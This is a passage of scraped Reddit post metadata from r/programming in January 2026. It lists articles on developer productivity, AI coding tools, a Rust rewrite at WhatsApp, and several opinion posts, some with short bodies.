  "author": "Annual-Ad-731",
  "subreddit": "programming",
  "score": 667,
  "upvoteRatio": 0.95,
  "numComments": 100,
  "createdAt": "2026-01-29T18:50:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://superkacper4.github.io/portfolio-2023/blog/technical-debt-everyday",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qqcopa",
  "url": "https://newsletter.techworld-with-milan.com/p/you-can-code-only-4-hours-per-day",
  "permalink": "https://www.reddit.com/r/programming/comments/1qqcopa/you_can_code_only_4_hours_per_day_heres_why/",
  "title": "You can code only 4 hours per day. Here’s why.",
  "body": null,
  "author": "milanm08",
  "subreddit": "programming",
  "score": 353,
  "upvoteRatio": 0.8,
  "numComments": 81,
  "createdAt": "2026-01-29T16:07:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.techworld-with-milan.com/p/you-can-code-only-4-hours-per-day",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qq9sth",
  "url": "https://leadthroughmistakes.substack.com/p/the-teammate-who-asks-too-many-questions",
  "permalink": "https://www.reddit.com/r/programming/comments/1qq9sth/the_dev_who_asks_too_many_questions_is_the_one/",
  "title": "The dev who asks too many questions is the one you need in your team",
  "body": null,
  "author": "dymissy",
  "subreddit": "programming",
  "score": 1196,
  "upvoteRatio": 0.96,
  "numComments": 248,
  "createdAt": "2026-01-29T14:19:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leadthroughmistakes.substack.com/p/the-teammate-who-asks-too-many-questions",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qq914d",
  "url": "https://nek12.dev/blog/en/how-to-speed-up-android-app-launch-baseline-profiles-startup-optimization-splash-screen",
  "permalink": "https://www.reddit.com/r/programming/comments/1qq914d/case_study_how_i_sped_up_android_app_start_by_10x/",
  "title": "Case Study: How I Sped Up Android App Start by 10x",
  "body": null,
  "author": "Nek_12",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 12,
  "createdAt": "2026-01-29T13:48:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://nek12.dev/blog/en/how-to-speed-up-android-app-launch-baseline-profiles-startup-optimization-splash-screen",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qq4qp4",
  "url": "https://l.perspectiveship.com/re-cobra",
  "permalink": "https://www.reddit.com/r/programming/comments/1qq4qp4/when_a_measure_becomes_a_target_it_ceases_to_be_a/",
  "title": "“When a measure becomes a target, it ceases to be a good measure” — Goodhart’s law",
  "body": null,
  "author": "dmp0x7c5",
  "subreddit": "programming",
  "score": 377,
  "upvoteRatio": 0.96,
  "numComments": 30,
  "createdAt": "2026-01-29T10:10:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://l.perspectiveship.com/re-cobra",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qq3pss",
  "url": "https://devclass.com/2026/01/28/typescript-inventor-anders-hejlsberg-ai-is-a-big-regurgitator-of-stuff-someone-has-done/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qq3pss/typescript_inventor_anders_hejlsberg_calls_ai_a/",
  "title": "TypeScript inventor Anders Hejlsberg calls AI \"a big regurgitator of stuff someone else has done\" but still sees it changing the way software dev is done and reshaping programming tools",
  "body": null,
  "author": "onlyconnect",
  "subreddit": "programming",
  "score": 478,
  "upvoteRatio": 0.92,
  "numComments": 101,
  "createdAt": "2026-01-29T09:08:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devclass.com/2026/01/28/typescript-inventor-anders-hejlsberg-ai-is-a-big-regurgitator-of-stuff-someone-has-done/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qpfz0l",
  "url": "https://www.himthe.dev/blog/microsoft-to-linux",
  "permalink": "https://www.reddit.com/r/programming/comments/1qpfz0l/microsoft_forced_me_to_switch_to_linux/",
  "title": "Microsoft forced me to switch to Linux",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 720,
  "upvoteRatio": 0.92,
  "numComments": 312,
  "createdAt": "2026-01-28T16:24:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.himthe.dev/blog/microsoft-to-linux",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qpdiio",
  "url": "https://engineering.fb.com/2026/01/27/security/rust-at-scale-security-whatsapp/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qpdiio/whatsapp_rewrote_its_media_handler_to_rust_160k_c/",
  "title": "Whatsapp rewrote its media handler to rust (160k c++ to 90k rust)",
  "body": null,
  "author": "NYPuppy",
  "subreddit": "programming",
  "score": 1059,
  "upvoteRatio": 0.9,
  "numComments": 206,
  "createdAt": "2026-01-28T14:54:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://engineering.fb.com/2026/01/27/security/rust-at-scale-security-whatsapp/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qosew5",
  "url": "https://docs.script-lang.org/blog/introducing-script",
  "permalink": "https://www.reddit.com/r/programming/comments/1qosew5/introducing_script_javascript_that_runs_like_rust/",
  "title": "Introducing Script: JavaScript That Runs Like Rust",
  "body": null,
  "author": "SecretAggressive",
  "subreddit": "programming",
  "score": 156,
  "upvoteRatio": 0.68,
  "numComments": 257,
  "createdAt": "2026-01-27T22:11:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://docs.script-lang.org/blog/introducing-script",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qoj5mb",
  "url": "https://www.seangoedecke.com/how-i-estimate-work/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qoj5mb/how_i_estimate_work_as_a_staff_software_engineer/",
  "title": "How I estimate work as a staff software engineer",
  "body": null,
  "author": "Ordinary_Leader_2971",
  "subreddit": "programming",
  "score": 764,
  "upvoteRatio": 0.92,
  "numComments": 238,
  "createdAt": "2026-01-27T16:47:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.seangoedecke.com/how-i-estimate-work/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qo42mh",
  "url": "https://tidesdb.com/articles/building-reliable-and-safe-systems/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qo42mh/building_reliable_and_safe_systems/",
  "title": "Building Reliable and Safe Systems",
  "body": null,
  "author": "diagraphic",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 5,
  "createdAt": "2026-01-27T04:41:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tidesdb.com/articles/building-reliable-and-safe-systems/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qnlk8z",
  "url": "https://atmoio.substack.com/p/after-two-years-of-vibecoding-im",
  "permalink": "https://www.reddit.com/r/programming/comments/1qnlk8z/after_two_years_of_vibecoding_im_back_to_writing/",
  "title": "After two years of vibecoding, I'm back to writing by hand",
  "body": "An interesting perspective.",
  "author": "BinaryIgor",
  "subreddit": "programming",
  "score": 620,
  "upvoteRatio": 0.85,
  "numComments": 236,
  "createdAt": "2026-01-26T16:54:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://atmoio.substack.com/p/after-two-years-of-vibecoding-im",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qni22q",
  "url": "http://reddit.com/r/programming",
  "permalink": "https://www.reddit.com/r/programming/comments/1qni22q/meta_mods_when_will_you_get_on_top_of_the/",
  "title": "[Meta] Mods, when will you get on top of the constant AI slop posts?",
  "body": "They never do well in terms of Karma or engagement. All they do is take a spot in the feed better suited to actual meaningful content.\n\nThey constantly break rules 2, 3, and 6. At a bare minimum that should be enough reason to remove them.\n\nBut more than that, AI has as much to do with programming as it does visual artistry. Which is to say, for those that care, nothing at all.\n\nLLMs and their enthusiasts have other spaces to share their posts. It's clear by common consensus that /r/programming does not want to be one of them.\n\nAt this point I'm just padding things out for word count. So, for the sake of facetiousness, here's Gemeni pointlessly reinterpreting what have already said above, since that's apparently the level of content were comfortable with around here.\n\n\\----\n\nOption 1: Direct and Policy-Focused\n\nThis version stays professional and emphasizes the subreddit’s standards.\n\nAI-related posts consistently see low engagement and poor karma, yet they continue to clutter the feed and displace higher-quality content. More importantly, these posts frequently violate Rules 2, 3, and 6, which alone warrants their removal.\n\nJust as in the art world, many in the developer community view AI as a separate entity from the craft itself. Since there are dedicated spaces for LLM discussion, and the consensus here is clearly negative, we should keep /r/programming focused on actual programming.\n\nOption 2: Community-Centric (The \"Purist\" Perspective)\n\nThis version leans into the sentiment that AI isn't \"real\" programming work.\n\nIt’s time to acknowledge that AI content doesn't belong here. These posts rarely spark meaningful discussion and often feel like noise in a feed meant for genuine development topics.\n\nBeyond the technicality that they often break sub rules (specifically 2, 3, and 6), there’s a deeper issue: to a programmer, an LLM is a tool, not the craft. If the community wanted this content, it wouldn't be consistently downvoted. Let’s leave the AI hype to the AI subreddits and keep this space for code.\n\nOption 3: Short and Punchy\n\nBest for a quick comment or a TL;DR.\n\nAI posts are a poor fit for /r/programming. They consistently fail to gain traction, violate multiple community rules (2, 3, and 6), and don't align with the interests of those who value the actual craft of programming. There are better subreddits for LLM enthusiasts; let’s keep this feed dedicated to meaningful, relevant content.",
  "author": "Omnipresent_Walrus",
  "subreddit": "programming",
  "score": 902,
  "upvoteRatio": 0.9,
  "numComments": 336,
  "createdAt": "2026-01-26T14:50:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://reddit.com/r/programming",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qn02yc",
  "url": "https://luke.zip/posts/zip-defense/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qn02yc/in_humble_defense_of_the_zip_tld/",
  "title": "In humble defense of the .zip TLD",
  "body": null,
  "author": "yathern",
  "subreddit": "programming",
  "score": 66,
  "upvoteRatio": 0.72,
  "numComments": 30,
  "createdAt": "2026-01-26T00:04:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://luke.zip/posts/zip-defense/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qmwkax",
  "url": "https://www.youtube.com/watch?v=56HJQm5nb0U",
  "permalink": "https://www.reddit.com/r/programming/comments/1qmwkax/can_ai_pass_freshman_cs/",
  "title": "Can AI Pass Freshman CS?",
  "body": "This video is long but worth the watch(The one criticism that I have is: why is the grading in the US so forgiving? The models fail to do the tasks and are still given points? I think in any other part of the world if you turn in a program that doesn't compile or doesn't do what was asked for you would get a \"0\"). Apparently, the \"PHD level\" models are pretty mediocre after all, and are not better than first semester students. This video shows that even SOTA models keep repeating the same mistakes that previous LLMs did:\n\n\\* The models fail repeatedly at simple tasks and questions, even when these tasks and questions have a lot of representation in the training data, and the way they fail is pretty unintuitive, these are not mistakes a human would make.\n\n\\* When they have success, the solutions are convoluted and unintuitive.\n\n\\* They suck at writing tests, the test that they come up with fail to catch edge cases and sometimes don't do anything. \n\n\\* They are pretty bad at following instructions. Given a very detailed step by step spec, they fail to come up with a solution that matches the requirements. They repeatedly skip steps and invent new ones.\n\n\\* In quiz like theoretical questions, they give answers that seem plausible at first but upon further inspection are subtly wrong.\n\n\\* Prompt engineering doesn't work, the models were provided with information and context that sometimes give them the correct answer or nudge them into it, but they chose to ignore it.\n\n\\* They lie constantly about what they are going to do and about what they did.\n\n\\* The models still sometimes output code that doesn't compile and has wrong syntax.\n\n\\* Given new information not in their training data, they fail miserably to make use of it, even with documentation.\n\nI think the models really have gotten better, but after billions and billions of dollars invested, the fundamental flaws of LLMs are still present and can't be ignored.\n\n  \nHere is quote from the end of the video: \"...the reality is that the frustration of using these broken products, the staggeringly poor quality of some of its output, the confidence with which it brazenly lies to me and most importantly, the complete void of creativity that permeates everything it touches, makes the outputs so much less than anything we got from the real people taking the course. The joy of working on a class like CS2112 is seeing the amazing ways the students continue to surprise us even after all these years. If you put the bland , broken output from the LLMs alongside the magic the students worked, it really isn't a comparison.\"",
  "author": "Gil_berth",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 2,
  "createdAt": "2026-01-25T21:48:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=56HJQm5nb0U",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qljjlx",
  "url": "https://medium.com/@jordansrowles/why-developing-for-microsoft-sharepoint-is-a-horrible-terrible-and-painful-experience-aa1f5d50712c",
  "permalink": "https://www.reddit.com/r/programming/comments/1qljjlx/why_developing_for_microsoft_sharepoint_is_a/",
  "title": "Why Developing For Microsoft SharePoint is a Horrible, Terrible, and Painful Experience",
  "body": "I've written a little article on why I think SharePoint is terrible. Probably could've written more, but I value my sanity. The development experience is painful, performance falls over at numbers a proper database would laugh at, and the architecture feels like it was designed by committee during a fire drill. Writing this one was more therapy than anything else.\n\nI recently migrated from SharePoint to something custom. How many of you are still using (or working on SharePoint), and what would you recommend instead?",
  "author": "jordansrowles",
  "subreddit": "programming",
  "score": 532,
  "upvoteRatio": 0.96,
  "numComments": 89,
  "createdAt": "2026-01-24T10:22:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@jordansrowles/why-developing-for-microsoft-sharepoint-is-a-horrible-terrible-and-painful-experience-aa1f5d50712c",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qlcz9e",
  "url": "https://maskray.me/blog/2026-01-22-maintaining-shadow-branches-for-github-prs",
  "permalink": "https://www.reddit.com/r/programming/comments/1qlcz9e/maintaining_shadow_branches_for_github_prs/",
  "title": "Maintaining shadow branches for GitHub PRs",
  "body": null,
  "author": "MaskRay",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 15,
  "createdAt": "2026-01-24T04:15:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://maskray.me/blog/2026-01-22-maintaining-shadow-branches-for-github-prs",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ql7638",
  "url": "https://codingismycraft.blog/index.php/2026/01/23/the-ai-revolution-in-coding-why-im-ignoring-the-prophets-of-doom/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ql7638/why_im_ignoring_the_death_of_the_programmer_hype/",
  "title": "Why I’m ignoring the \"Death of the Programmer\" hype",
  "body": "Every day there are several new postings in the social media  about a \"layman\" who build and profited from an app in 5 minutes using the latest AI Vibe tool.\n\nAs a professional programmer I find all of these type of postings/ ads at least hilarious and silly.\n\nOf course, AI is a useful tool (I use Copilot every day) but it’s definitely not a replacement for human expertise .\n\nDo not take this kind of predictions seriously and just ignore them (Geoffrey Hinton predicted back in 2016 that radiologists would be gone by 2021... how did that turn out?)\n\n[https://codingismycraft.blog/index.php/2026/01/23/the-ai-revolution-in-coding-why-im-ignoring-the-prophets-of-doom/](https://codingismycraft.blog/index.php/2026/01/23/the-ai-revolution-in-coding-why-im-ignoring-the-prophets-of-doom/)",
  "author": "Greedy_Principle5345",
  "subreddit": "programming",
  "score": 459,
  "upvoteRatio": 0.94,
  "numComments": 259,
  "createdAt": "2026-01-23T23:53:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://codingismycraft.blog/index.php/2026/01/23/the-ai-revolution-in-coding-why-im-ignoring-the-prophets-of-doom/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ql0w5p",
  "url": "https://arstechnica.com/security/2026/01/overrun-with-ai-slop-curl-scraps-bug-bounties-to-ensure-intact-mental-health/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ql0w5p/overrun_with_ai_slop_curl_scraps_bug_bounties_to/",
  "title": "Overrun with AI slop, cURL scraps bug bounties to ensure \"intact mental health\"",
  "body": null,
  "author": "Drumedor",
  "subreddit": "programming",
  "score": 2049,
  "upvoteRatio": 0.98,
  "numComments": 251,
  "createdAt": "2026-01-23T19:47:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arstechnica.com/security/2026/01/overrun-with-ai-slop-curl-scraps-bug-bounties-to-ensure-intact-mental-health/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qksfgi",
  "url": "https://eieio.games/blog/ssh-sends-100-packets-per-keystroke/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qksfgi/why_does_ssh_send_100_packets_per_keystroke/",
  "title": "Why does SSH send 100 packets per keystroke?",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 705,
  "upvoteRatio": 0.89,
  "numComments": 205,
  "createdAt": "2026-01-23T14:35:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://eieio.games/blog/ssh-sends-100-packets-per-keystroke/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qk84ol",
  "url": "https://softwaremill.com/tigerbeetle-vs-postgresql-performance-benchmark-setup-local-tests/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qk84ol/tigerbeetle_vs_postgresql_performance_test_setup/",
  "title": "TigerBeetle vs PostgreSQL Performance: test setup, local, single-node tests",
  "body": null,
  "author": "adamw1pl",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 7,
  "createdAt": "2026-01-22T21:57:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://softwaremill.com/tigerbeetle-vs-postgresql-performance-benchmark-setup-local-tests/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qk2q7k",
  "url": "https://tldraw.dev/blog/stay-away-from-my-trash",
  "permalink": "https://www.reddit.com/r/programming/comments/1qk2q7k/in_a_world_of_ai_coding_assistants_is_code_from/",
  "title": "\"In a world of AI coding assistants, is code from external open source contributors actually valuable?\"",
  "body": ">\"If writing the code is the easy part, why would I want someone else to write it?\"\n\nAt first I thought this essay would be another diatribe against AI slop. But the maintainer of tldraw is more thoughtful than that. They're not against merging outside code that's written by AI, But now it's just faster to do it yourself with your own coding agent:\n\n>Once or twice, I would begin fixing and cleaning up these PRs, often asking my own Claude to make fixes that benefited from my wider knowledge: use this helper, use our existing UI components, etc. All the while thinking that **it would have been easier to vibe code this myself**.\n\nWhat does contributing to open source look like in a world where the maintainer doesn't need help creating more code?\n\n",
  "author": "sean-adapt",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.41,
  "numComments": 13,
  "createdAt": "2026-01-22T18:37:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tldraw.dev/blog/stay-away-from-my-trash",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qk0vip",
  "url": "https://blogs.windows.com/windowsdeveloper/2026/01/22/announcing-winapp-the-windows-app-development-cli/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qk0vip/announcing_winapp_the_windows_app_development_cli/",
  "title": "Announcing winapp, the Windows App Development CLI",
  "body": null,
  "author": "_AACO",
  "subreddit": "programming",
  "score": 269,
  "upvoteRatio": 0.85,
  "numComments": 110,
  "createdAt": "2026-01-22T17:31:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blogs.windows.com/windowsdeveloper/2026/01/22/announcing-winapp-the-windows-app-development-cli/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qjvtjf",
  "url": "https://dev.ribic.ba/the-rapid-evolution-of-software-engineer-s-role",
  "permalink": "https://www.reddit.com/r/programming/comments/1qjvtjf/the_rapid_evolution_of_software_engineers_role/",
  "title": "The rapid evolution of Software Engineer's role",
  "body": null,
  "author": "Ribice",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.41,
  "numComments": 12,
  "createdAt": "2026-01-22T14:22:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dev.ribic.ba/the-rapid-evolution-of-software-engineer-s-role",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qjleer",
  "url": "https://medium.com/@dmitrytrifonov/big-tech-performance-review-01fff2c5924d",
  "permalink": "https://www.reddit.com/r/programming/comments/1qjleer/essay_performance_reviews_in_big_tech_why_fair/",
  "title": "Essay: Performance Reviews in Big Tech: Why “Fair” Systems Still Fail",
  "body": "No matter how they’re designed—manager discretion, calibration committees, or opaque algorithms—performance reviews in big tech reliably produce results that are neither meritocratic nor humane. In practice, compensation and promotions still hinge on a single decision-maker.\n\nI wrote a dark, deliberately cynical essay comparing Apple and Roblox, two companies where I managed teams, that tried very different approaches to performance evaluation and failed in different ways.\n\nEven if we *could* make these systems “fair,” I’m not convinced that’s the right goal. What people actually want isn’t better algorithms, but humane treatment and rational judgment when it matters.\n\nOriginally posted in r/ExperiencedDevs. Sharing here for a broader perspective.",
  "author": "NoVibeCoding",
  "subreddit": "programming",
  "score": 230,
  "upvoteRatio": 0.97,
  "numComments": 55,
  "createdAt": "2026-01-22T04:57:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@dmitrytrifonov/big-tech-performance-review-01fff2c5924d",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qiv7e8",
  "url": "https://newsletter.signoz.io/p/6-things-i-learned-about-opentelemetry",
  "permalink": "https://www.reddit.com/r/programming/comments/1qiv7e8/6_things_i_learned_about_opentelemetry/",
  "title": "6 Things I Learned About OpenTelemetry Contribution (That the Docs Won't Tell You)",
  "body": null,
  "author": "elizObserves",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.62,
  "numComments": 1,
  "createdAt": "2026-01-21T11:15:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.signoz.io/p/6-things-i-learned-about-opentelemetry",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qit5d7",
  "url": "https://github.com/Anandb71/arbor",
  "permalink": "https://www.reddit.com/r/programming/comments/1qit5d7/arbor_v14_a_graphnative_refactor_safety_tool_with/",
  "title": "Arbor v1.4 – A graph-native refactor safety tool with a new GUI",
  "body": "I’ve been working on a tool that answers the question “What breaks if I change this function?” by analyzing your codebase as a call graph instead of plain-text search. v1.4 adds a simple GUI for impact analysis, confidence scoring (how certain Arbor is about a dependency), and clearer explanations for roles like Entry Point, Utility, Core Logic, etc. Not looking to promote anything , just sharing the update in case it’s useful to others working on large codebases or refactoring work.\n\nRepo: [github.com/Anandb71/arbor](http://github.com/Anandb71/arbor)  \nDocs: See the Quickstart and impact examples in the README.\n\nHappy to answer technical questions about the graph model or parser architecture.",
  "author": "AccomplishedWay3558",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 6,
  "createdAt": "2026-01-21T09:11:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/Anandb71/arbor",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qijolr",
  "url": "https://lalitm.com/post/why-senior-engineers-let-bad-projects-fail/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qijolr/why_senior_engineers_let_bad_projects_fail/",
  "title": "Why Senior Engineers Let Bad Projects Fail",
  "body": null,
  "author": "Ordinary_Leader_2971",
  "subreddit": "programming",
  "score": 446,
  "upvoteRatio": 0.93,
  "numComments": 119,
  "createdAt": "2026-01-21T01:07:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lalitm.com/post/why-senior-engineers-let-bad-projects-fail/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qi8vz4",
  "url": "https://www.phoronix.com/news/LLVM-Human-In-The-Loop",
  "permalink": "https://www.reddit.com/r/programming/comments/1qi8vz4/llvm_adopts_human_in_the_loop_policy_for/",
  "title": "LLVM adopts \"human in the loop\" policy for AI/tool-assisted contributions",
  "body": null,
  "author": "Fcking_Chuck",
  "subreddit": "programming",
  "score": 302,
  "upvoteRatio": 0.93,
  "numComments": 71,
  "createdAt": "2026-01-20T18:19:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.phoronix.com/news/LLVM-Human-In-The-Loop",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qhwcnu",
  "url": "https://techfortalk.co.uk/2026/01/18/c17-efficiently-returning-stdvector-from-functions/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qhwcnu/c17_efficiently_returning_stdvector_from_functions/",
  "title": "C++17: Efficiently Returning std::vector from Functions",
  "body": null,
  "author": "Clean-Upstairs-8481",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 3,
  "createdAt": "2026-01-20T09:14:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://techfortalk.co.uk/2026/01/18/c17-efficiently-returning-stdvector-from-functions/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qhw9zg",
  "url": "https://firehound.covertlabs.io",
